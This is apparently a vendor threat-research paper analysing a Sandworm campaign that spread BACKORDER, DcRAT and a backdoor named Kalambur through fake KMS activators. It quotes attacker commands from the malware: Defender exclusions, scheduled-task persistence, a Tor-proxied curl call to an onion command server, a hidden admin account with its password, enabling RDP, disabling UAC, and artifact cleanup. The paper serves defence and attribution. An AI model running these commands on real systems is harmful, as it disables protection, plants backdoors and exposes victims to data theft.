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ABSTRACT
This paper is based on original threat research [1] published by EclecticIQ on 11 February 2025, which exposed a 
targeted cyber espionage campaign attributed to Sandworm (APT44) [2], a threat actor group very likely supporting 
Russia’s Main Intelligence Directorate (GRU). In the context of Russia’s ongoing war against Ukraine [3], Sandworm 
has leveraged pirated Microsoft Key Management Service (KMS) activators as a delivery vector to infect Ukrainian 
Windows users [4]. Our analysis reveals the use of three key malware components: BACKORDER loader [5], 
Dark Crystal RAT (DcRAT) [6], and a previously undocumented RDP backdoor that was named ‘Kalambur’ by 
EclecticIQ analysts [7]. 

Figure 1: Activities of Sandworm group in EclecticIQ Threat Intelligence Platform’s graph view.

INTRODUCTION
Ukraine’s state sector has a 70 per cent software piracy rate [8], creating a large pool of users who rely on unlicensed 
Microsoft activators. Sandworm (APT44), a GRU-linked threat group tracked by CERT-UA as UAC-0145 [9], leveraged 
this environment to distribute a trojanized Windows activation tool named KMSAuto. Through a series of seven observed 
campaigns, Sandworm group delivered a variant of the BACKORDER loader, which is designed to execute DcRAT, a 
remote access tool (RAT), enabling persistent remote access and data exfiltration on compromised systems. 
In late 2024, EclecticIQ analysts discovered a previously unknown RDP backdoor, dubbed Kalambur, further expanding 
Sandworm’s toolkit. This paper focuses on technical analysis of BACKORDER, DcRAT and Kalambur, highlighting their 
code-level behaviours, evasion strategies, and connection with Sandworm’s cyber-enabled espionage operations against 
Ukrainian Windows users.

Figure 2: Screenshot from torrent site BTDIG showing malicious KMSAuto file [4].
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BACKORDER LOADER DELIVERS DCRAT VIA KMS ACTIVATOR LURE, USING LOTL BINARIES FOR STEALTH
BACKORDER loader is developed in the GO programming language; in this fake Windows activation campaign 
BACKORDER embeds itself within a password-protected ZIP archive named ‘KMSAuto++x64_v1.8.4.zip’. Once the 
victim extracts and executes the fake KMS activator, BACKORDER runs silently in the background then disables security 
defences, fetches the next-stage payload (DcRAT), and ensures persistent remote access while remaining undetected on the 
compromised system.

Disabling Windows Defender for defence evasion
BACKORDER loader disables Windows Defender and uses PowerShell to exclude the %PUBLIC%, %TEMP%, and C:\ 
folders from malware scanning, thus clearing the way for the final DcRAT payload:

•	 powershell.exe -Command Add-MpPreference –ExclusionPath "<FolderPath>" 

Figure 3: Disassembled BACKORDER loader showing the use of PowerShell to add exclusion paths.

Living-off-the-land binaries used by the BACKORDER loader
The BACKORDER loader observed in this campaign leveraged multiple living-off-the-land (LOTL) techniques during 
defence evasion to ensure successful system infection. Figure 4 shows a list of the LOTL binaries, how they are executed 
on compromised systems, and a detailed description for each.

Figure 4: List of living-off-the-land techniques observed in the BACKORDER loader.

•	 WMIC.exe: Manipulates Windows Defender settings by adding exclusion folders.
•	 SC.exe: Stops Microsoft Defender-related Windows services (WinDefend, SecurityHealthService) in order to disable 

real-time protection.
•	 REG.exe: Modifies registry entries under HKLM\SOFTWARE\Microsoft\Windows Defender\ in order to disable 

Microsoft Defender.
Living-off-the-land refers to a technique in which attackers abuse legitimate, built-in system tools – such as  
wmic.exe, sc.exe and reg.exe – to carry out malicious actions without dropping malicious binaries. This helps them 
evade detection, since these tools are native system processes in the Windows operating system. 
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Second-stage payload retrieval mechanism
The BACKORDER loader embeds a Base64-encoded URL within the .data segment of its Portable Executable (PE) file. 
The main_convert_B64_to_Str() function decodes the Base64-encoded string:

•	 Before decoding: aHR0cHM6Ly9rbXNVcGRhdGUyMDIzLmNvbS9rbXMzMjAzei56aXA=
•	 After decoding: https://kmsupdate2023[.]com/kms2023.zip 

Figure 5: Base64-decoded C2 domain construction.

Then another function, main_get_zip(), retrieves a ZIP archive from the decoded URL, after un-zipping BACKORDER 
and dropping two files:

•	 The final DcRAT payload:
%AppData%\Roaming\kms2023\kms2023.exe 

•	 A backup copy of the DcRAT payload used by scheduled tasks:
%AppData%\Local\staticfile.exe

Once executed, DcRAT (kms2023.exe) establishes a connection with the command-and-control (C2) infrastructure, which 
is very likely controlled by the threat actor:

•	 onedrivepack[.]com/pipe_RequestPollUpdateProcessAuthwordpress.php
Upon successful infection, DcRAT exfiltrates a range of sensitive data from the compromised system, including:

•	 Screenshots of the victim’s desktop
•	 Keystrokes captured in real time
•	 Browser cookies, history, and stored credentials
•	 Saved FTP client credentials
•	 Host-specific system information (e.g. hostname, usernames, installed software)
•	 Stored credit card data

This data is exfiltrated over HTTP POST requests, aligning with Sandworm’s documented TTPs for espionage and 
credential-harvesting operations.

Scheduled task creation for persistent remote access
EclecticIQ analysts observed that the DcRAT payload created multiple scheduled tasks to maintain persistent access on the 
victim’s device by regularly launching the malicious payload.
The malware used the built-in Windows binary schtasks.exe to register two different scheduled tasks, named 
sstaticfiles and staticfile, and executed the DcRAT payload, named staticfile.exe, with elevated privileges 
from C:\Users\Admin\AppData\Local.

Figure 6: Scheduled task after malware execution.
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•	 schtasks.exe /Create /SC ONLOGON /TN "staticfiles" /TR "C:\Users\Admin\AppData\Roaming\
kms2023\kms2023.exe" /RL HIGHEST

•	 schtasks.exe /Create /SC ONSTART /TN "staticfile" /TR "C:\Users\Admin\AppData\Local\
staticfile.exe" /RL HIGHEST 

This tactic ensures the adversary retains a foothold in the system, allowing malicious operations to continue even after 
reboots or user log-offs.

Command-and-control communication
Dark Crystal RAT leverages a structured, multi-format, HTTP-based C2 protocol designed for stealth and flexibility. Upon 
execution, the malware decrypts a Base64-encoded configuration block that defines its primary C2 endpoints, both of 
which can be obfuscated domains. 

Figure 7: Wireshark results showing C2 communication.

DcRAT supports both GET and POST methods for communication. GET requests are used for standard command polling 
and telemetry reporting, while POST requests are reserved for large data uploads such as screenshots or stolen credentials. 
Parameters are encoded using a combination of device-specific and message-type hashes, complicating detection and 
signature creation. The RAT dynamically selects user-agent strings that mimic benign Windows Update traffic and relies on 
randomized beacon intervals and mutex-based instance control to reduce its operational footprint.

PYTHON-BASED LOADER USING CONSISTENT TACTICS OBSERVED IN BACKORDER LOADER
On 25 November 2024, EclecticIQ analysts identified another trojanized KMS activator uploaded to VirusTotal from 
Ukraine [10], consistent with tactics previously attributed to the BACKORDER loader campaign – demonstrating similar 
techniques but differing in implementation and structure. 
The sample was compiled with PyInstaller as a 64-bit executable using Python 3.13, and contained Russian-language 
debug comments and hard-coded paths, strengthening our assessment that the malware is of Russian origin.

Figure 8: After user execution, malware showing a fake user interface.
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Upon execution, the malicious KMS activator drops and runs multiple Python components, including main.py, 
Functions.py and Functions_2.py. Together, these scripts disable security features, deploy malicious payloads, and 
establish system persistence.

Functions.py behaviour
The Functions.py script performs the following sequence:

1.	 Downloads a ZIP archive named WindowsOfficeActivationScripts.zip from a public GitHub repository.
2.	 Extracts its contents into %LOCALAPPDATA%\Microsoft-Activation-Scripts.
3.	 Launches a benign-looking activation GUI to lure the victim into clicking ‘Activate’.
4.	 Simultaneously: 

a.	 Disables Microsoft Defender by executing:
	 powershell.exe -Command "Add-MpPreference –ExclusionPath '<target_directory>'"

b.	 Copies a malicious DLL (stream.x86.x.dll) into the extracted folder and registers a scheduled task: 
	 OneDrive Reporting Task-S-1-6-91-2656291417-2341898128-2085478365-1000

5.	 The scheduled task runs:
	 rundll32.exe "%LOCALAPPDATA%\Microsoft-Activation-Scripts\stream.x86.x.dll", 

ExportedFunction

	 hereafter, every time the user logs in, executing the embedded malware. 
Notably, the source code contains Russian‑language comments, such as ‘We will change the working directory to the script 
directory’.

Figure 9: Russian-language comments written by the developer inside the extracted Python code.

These linguistic artifacts reinforce the attribution to a Russian-speaking threat actor.

Functions_2.py behaviour
The Functions_2.py script enhances system compromise through the following steps:

1.	 Disables Windows Update and other related services.
2.	 Adds additional Microsoft Defender exclusions and registry edits to suppress alerts.
3.	 Establishes persistence by configuring another scheduled task to execute malicious DLLs (Runtime Broker.dll, 

stream.x86.x.dll) from the same directory.

Figure 10: List of exclusion folders to avoid AV scanning.
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The script attempts to download a second-stage payload from:
https://activationsmicrosoft[.]com/activationsmicrosoft.php

Figure 11: Second-stage downloading URL embedded inside the malware.

At the time of writing, this remote server was no longer accessible, preventing retrieval of the second-stage malware. 
However, analysts assess with medium confidence that the dropped DLL (Runtime Broker.dll) is a new variant of the 
BACKORDER loader, based on structural similarity and operational overlap with earlier campaign samples.

A notable operational error by the threat actor was the failure to strip debug symbols from the compiled binary. The sample 
revealed a full debug path referencing New_droper.go and a working directory under the default IEUser account, 
commonly associated with Microsoft test virtual machines. This slip provides additional clues about the actor’s 
development environment and possible OPSEC failures.

Figure 12: Forgotten debug symbols inside the malware.

KALAMBUR BACKDOOR: DISCOVERY AND NAMING OF THE MULTI-STAGED BACKDOOR
The investigation began with the identification of a suspicious URL path, onedrivestandalone.php, hosted on the 
kmsupdate2023[.]com command-and-control domain. This served as an entry point into a broader malware delivery 
campaign. 

Analysts pivoted from this initial indicator to uncover several additional C2 servers, all employing ‘KMS activation’ lures 
– strongly suggesting coordination within the same operation. This infrastructure analysis led EclecticIQ researchers to a 
previously undocumented domain, kalambur[.]net, which was hosting a Microsoft Windows Update-themed 
multi‑staged backdoor – now named the Kalambur backdoor. 

The malware, executed via kalambur2021_v39.exe [11], is a C#-based downloader that initiates post-exploitation 
activities upon execution. Analysts named the malware Kalambur, from the Russian word каламбур, meaning ‘pun’ – 
based on both the file and the domain name chosen by the threat actor.

The Kalambur backdoor is designed to download a repackaged TOR binary within a ZIP archive and retrieve additional 
tooling from a likely attacker-controlled Onion Service, indicating the use of TOR for stealthy C2 communications.

Embedded PowerShell loader
Static and dynamic analysis of kalambur2021_v39.exe revealed an embedded PowerShell script stored in the loader’s 
resource section. Upon execution, the loader writes this script to a temporary directory and executes it. The script 
automates several post-compromise functions, including:

•	 Installing and configuring a TOR-based SOCKS5 proxy for C2

•	 Downloading and launching auxiliary binaries and backdoors

•	 Creating persistent scheduled tasks

•	 Exfiltrating system identifiers (e.g. UUID, public IP)

•	 Enabling RDP and SSH access

•	 Cleaning up forensic traces
These capabilities underscore the threat actor’s focus on stealth, persistence, and multi-channel remote access, making 
Kalambur a versatile tool within the broader Sandworm-linked campaign infrastructure.

TOR-based command and control
The script first terminates any existing Tor services and installs a custom Tor instance:

•	 Get-Service tor | Stop-Service -Force New-Service -Name "tor" -BinaryPathName  
"C:\Windows\Temp\tor\tor.exe" -StartupType Manual Start-Service tor

It configures the Tor service to listen on 127.0.0.1:9050 as a local SOCKS5 proxy. Using this proxy, it communicates 
with the Onion-based C2 endpoint over another built-in Windows binary, curl.exe:
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•	curl.exe --socks5-hostname 127.0.0.1:9050 
"http://2zilmiystfbjib2k4hvhpnv2uhni4ax5ce4xlpb7swkjimfnszxbkaid[.]onion/commands"

Figure 13: Part of the PowerShell script showing the TOR link that was used as C2 channel.

This setup allows the malware to discreetly exfiltrate data and receive tasking instructions while bypassing traditional 
network monitoring. Similar tradecraft has previously been observed by Mandiant in UNC4166 operations [12].

Persistence mechanisms and backdooring via RDP session
To ensure long-term access, the script creates a scheduled task named WindowsUpdateCheck:

•	 schtasks.exe /Create /SC MINUTE /MO 60 /TN "WindowsUpdateCheck" /TR "wscript.exe C:\
Windows\Temp\Kalambur\rata.vbs" /RL HIGHEST

This task runs the backdoor script every 60 minutes under SYSTEM privileges.
Additionally, the script establishes an RDP backdoor by:

•	 Creating or reactivating a hidden administrative user (WGUtilityOperator) with password 1qaz@WSX
•	 Enabling the RDP service via the registry:
	 reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\TermService" /v Start /t REG_DWORD 
/d 2 /f

•	 Allowing inbound RDP traffic through the firewall:
	 netsh advfirewall firewall add rule name="Allow RDP" protocol=TCP dir=in localport=3389 
action=allow

•	 Disabling User Account Control (UAC) prompts:
	 reg.exe add "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA 
/t REG_DWORD /d 0 /f

Backdooring the victim system via OpenSSH 
The script deploys OpenSSH as an alternative access method:
msiexec.exe /i C:\Windows\Temp\Kalambur\OpenSSH-Win64.msi /quiet

netsh advfirewall firewall add rule name="Allow SSH" dir=in action=allow protocol=TCP 
localport=22

It also conducts host reconnaissance by:
•	 Retrieving the system’s public IP:
	 Invoke-WebRequest -UseBasicParsing -Uri "http://ident[.]me"

•	 Querying the system UUID:
	 Get-WmiObject Win32_ComputerSystemProduct | Select-Object UUID

The collected data (e.g. ip0.txt, uuid0.txt) is staged in C:\Windows\Temp\Kalambur\ before being exfiltrated through the 
Onion C2 channel.

Artifact cleanup to minimize forensic exposure
To minimize forensic exposure, the script removes all temporary artifacts related to installation and persistence:
Remove-Item "C:\Windows\Temp\Kalambur\*.msi" -Force

Remove-Item "C:\Windows\Temp\Kalambur\*.zip" -Force

Remove-Item "C:\Windows\Temp\Kalambur\*.vbs" -Force

These cleanup routines eliminate evidence of the dropper and reduce the chances of detection during incident response.
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ATTRIBUTION CONFIDENCE AND HISTORICAL CONTEXT
EclecticIQ attributes these activities to Sandworm (APT44) with high confidence, a very likely GRU-linked threat actor 
with a long-standing operational focus on Ukraine. This assessment is grounded in the convergence of technical indicators, 
infrastructure links, and TTP overlaps consistently observed across multiple campaigns. Notably, the repeated deployment 
of the BACKORDER loader and Dark Crystal RAT aligns with previously documented Sandworm activity and 
demonstrates code and behaviour reuse over time.
A robust set of infrastructure correlations further supports this attribution. Multiple command-and-control domains, 
including kmsupdate2023[.]com, ratiborus2023[.]com and kalambur[.]net, share registrar details (PDR Ltd., 
GMO Internet), use ProtonMail-based WHOIS emails, and are configured behind Cloudflare nameservers, with registration 
dates clustering between late 2023 and late 2024. These domains were used in campaigns delivering trojanized KMS 
activation tools and fake Windows updates, targeting Ukrainian users.
EclecticIQ also identified artifacts within the malware, such as Russian-language debug symbols, hard-coded TOR-based 
C2s, and scheduled task persistence mechanisms, that directly mirror techniques previously attributed to UNC4166, 
another GRU-linked group. CERT-UA’s parallel attribution of similar campaigns to UAC-0145 adds further confidence in 
linking the activity to Sandworm.
Historically, Sandworm has maintained a focus on critical infrastructure disruption and strategic espionage, dating back to 
BlackEnergy and Industroyer. These recent campaigns mark a tactical evolution, weaponizing Ukraine’s heavy reliance on 
pirated software amid wartime economic instability. As early as 2023, CERT-UA reported real-world intrusions into utility 
networks caused by such lures, validating the operational risk.
Taken together, the infrastructure, malware samples, linguistic artifacts, and procedural consistencies present a compelling 
case for attribution to APT44, reinforcing Sandworm’s role as an advanced persistent threat actor engaged in intelligence 
collection aligned with Russian state interests.
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